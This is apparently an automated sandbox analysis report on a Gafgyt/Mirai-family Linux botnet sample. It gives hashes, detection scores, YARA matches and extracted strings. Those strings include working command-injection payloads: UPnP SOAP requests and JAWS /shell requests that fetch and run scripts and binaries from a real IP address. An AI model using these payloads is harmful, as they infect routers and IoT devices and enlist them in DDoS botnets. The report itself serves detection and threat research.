Linux Analysis Report
boatnet.m68k.elf

Overview

General Information

Sample name: boatnet.m68k.elf
Analysis ID: 1592307
MD5: 0e61f3ff2ef9d4c13cc82faeb4b727bd
SHA1: 1984a703b905bc42af6313aa0337de2d75afbbd2
SHA256: 4dded79e19d41a8fb287e683bda0b230eb6792be5225c0e1f502229102b2221b
Tags: elfuser-abuse_ch
Infos:

Detection

Gafgyt, Mirai
Score: 88
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Yara detected Gafgyt
Yara detected Mirai
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample contains strings that are potentially command strings
Sample has stripped symbol table
Uses the "uname" system call to query kernel version information (possible evasion)
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
Bashlite, Gafgyt Bashlite is a malware family which infects Linux systems in order to launch distributed denial-of-service attacks (DDoS). Originally it was also known under the name Bashdoor, but this term now refers to the exploit method used by the malware. It has been used to launch attacks of up to 400 Gbps. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.bashlite
Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

AV Detection

barindex
Source: boatnet.m68k.elf Avira: detected
Source: boatnet.m68k.elf Virustotal: Detection: 61% Perma Link
Source: boatnet.m68k.elf ReversingLabs: Detection: 55%
Source: boatnet.m68k.elf String: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>busybox wget http://5.181.159.16/w.sh; sh w.sh; curl http://5.181.159.16/c.sh; sh c.sh; wget http://5.181.159.16/wget.sh; sh wget.sh; curl http://5.181.159.16/wget.sh; sh wget.sh; busybox wget http://5.181.159.16/wget.sh; sh wget.sh; busybox curl http://5.181.159.16/wget.sh; sh wget.sh; iptables -A INPUT -p tcp --destination-port 5555 -j DROP`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Source: boatnet.m68k.elf String: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>busybox wget http://5.181.159.16/w.sh; sh w.sh; curl http://5.181.159.16/c.sh; sh c.sh; wget http://5.181.159.16/wget.sh; sh wget.sh; curl http://5.181.159.16/wget.sh; sh wget.sh; busybox wget http://5.181.159.16/wget.sh; sh wget.sh; busybox curl http://5.181.159.16/wget.sh; sh wget.sh; iptables -A INPUT -p tcp --destination-port 5555 -j DROP`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>GET/ HTTP/1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic DNS traffic detected: DNS query: daisy.ubuntu.com
Source: boatnet.m68k.elf String found in binary or memory: http://5.181.159.16/c.sh;
Source: boatnet.m68k.elf String found in binary or memory: http://5.181.159.16/idk/home.arm7;chmod
Source: boatnet.m68k.elf String found in binary or memory: http://5.181.159.16/idk/home.mips
Source: boatnet.m68k.elf String found in binary or memory: http://5.181.159.16/idk/home.mips;
Source: boatnet.m68k.elf String found in binary or memory: http://5.181.159.16/idk/home.x86
Source: boatnet.m68k.elf String found in binary or memory: http://5.181.159.16/w.sh;
Source: boatnet.m68k.elf String found in binary or memory: http://5.181.159.16/wget.sh;
Source: boatnet.m68k.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: boatnet.m68k.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

System Summary

barindex
Source: boatnet.m68k.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: boatnet.m68k.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5558.1.00007f3c94001000.00007f3c9401a000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5558.1.00007f3c94001000.00007f3c9401a000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: Process Memory Space: boatnet.m68k.elf PID: 5558, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: boatnet.m68k.elf PID: 5558, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: Initial sample String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>busybox wget http://5.181.159.16/w.sh; sh w.sh; curl http://5.181.159.16/c.sh; sh c.sh; wget http://5.181.159.16/wget.sh; sh wget.sh; curl http://5.181.159.16/wget.sh; sh wget.sh; busybox wget http://5.181.159.16/wget.sh; sh wget.sh; busybox curl http://5.181.159.16/wget.sh; sh wget.sh; iptables -A INPUT -p tcp --destination-port 5555 -j DROP`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Source: Initial sample String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>busybox wget http://5.181.159.16/w.sh; sh w.sh; curl http://5.181.159.16/c.sh; sh c.sh; wget http://5.181.159.16/wget.sh; sh wget.sh; curl http://5.181.159.16/wget.sh; sh wget.sh; busybox wget http://5.181.159.16/wget.sh; sh wget.sh; busybox curl http://5.181.159.16/wget.sh; sh wget.sh; iptables -A INPUT -p tcp --destination-port 5555 -j DROP`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>GET/ HTTP/1.1
Source: Initial sample String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g 5.181.159.16 -l /tmp/bigH -r /idk/home.mips;chmod 777 /tmp/bigH;/tmp/bigH Huawei.Selfrep;rm -rf /tmp/bigH)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample Potential command found: GET oV
Source: Initial sample Potential command found: GET /shell?cd+/tmp;rm+-rf+*;wget+5.181.159.16/idk/home.arm;chmod+777+/tmp/home.arm;sh+/tmp/home.arm HTTP/1.1
Source: Initial sample Potential command found: GET /shell?cd /tmp; wget http:/\/5.181.159.16/idk/home.arm; chmod 777 home.arm; ./home.arm Jaws.Selfrep;rm -rf home.arm HTTP/1.1
Source: Initial sample Potential command found: GET /shell?cd+/tmp;+wget+http:/\/5.181.159.16/idk/home.arm;+chmod+777+home.arm;+./home.arm Jaws.Selfrep;rm+-rf+home.arm HTTP/1.1
Source: Initial sample Potential command found: GET /index.php?s=/index/hink
Source: ELF static info symbol of initial sample .symtab present: no
Source: boatnet.m68k.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: boatnet.m68k.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5558.1.00007f3c94001000.00007f3c9401a000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5558.1.00007f3c94001000.00007f3c9401a000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: Process Memory Space: boatnet.m68k.elf PID: 5558, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: boatnet.m68k.elf PID: 5558, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: classification engine Classification label: mal88.troj.linELF@0/0@2/0
Source: /tmp/boatnet.m68k.elf (PID: 5558) Queries kernel information via 'uname': Jump to behavior
Source: boatnet.m68k.elf, 5558.1.00007ffc0cba0000.00007ffc0cbc1000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-m68k/tmp/boatnet.m68k.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/boatnet.m68k.elf
Source: boatnet.m68k.elf, 5558.1.000055a90a8a5000.000055a90a92a000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/m68k
Source: boatnet.m68k.elf, 5558.1.00007ffc0cba0000.00007ffc0cbc1000.rw-.sdmp Binary or memory string: /usr/bin/qemu-m68k
Source: boatnet.m68k.elf, 5558.1.000055a90a8a5000.000055a90a92a000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/m68k
Source: boatnet.m68k.elf, 5558.1.00007ffc0cba0000.00007ffc0cbc1000.rw-.sdmp Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Stealing of Sensitive Information

barindex
Source: Yara match File source: boatnet.m68k.elf, type: SAMPLE
Source: Yara match File source: 5558.1.00007f3c94001000.00007f3c9401a000.r-x.sdmp, type: MEMORY
Source: Yara match File source: boatnet.m68k.elf, type: SAMPLE
Source: Yara match File source: 5558.1.00007f3c94001000.00007f3c9401a000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: boatnet.m68k.elf PID: 5558, type: MEMORYSTR

Remote Access Functionality

barindex
Source: Yara match File source: boatnet.m68k.elf, type: SAMPLE
Source: Yara match File source: 5558.1.00007f3c94001000.00007f3c9401a000.r-x.sdmp, type: MEMORY
Source: Yara match File source: boatnet.m68k.elf, type: SAMPLE
Source: Yara match File source: 5558.1.00007f3c94001000.00007f3c9401a000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: boatnet.m68k.elf PID: 5558, type: MEMORYSTR
No contacted IP infos